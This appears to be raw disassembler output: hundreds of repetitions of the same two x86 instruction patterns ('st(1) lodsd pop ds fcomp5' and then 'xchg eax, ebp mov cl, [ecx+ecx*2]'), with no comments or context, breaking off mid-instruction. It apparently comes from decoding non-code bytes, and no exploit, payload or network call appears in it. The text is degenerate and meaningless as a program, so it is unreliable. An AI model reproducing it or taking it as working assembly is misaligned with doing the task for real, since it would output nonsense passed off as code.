st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) lodsd pop ds fcomp5 st(1) xchg eax, ebx mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov cl, [ecx+ecx*2] xchg eax, ebp mov 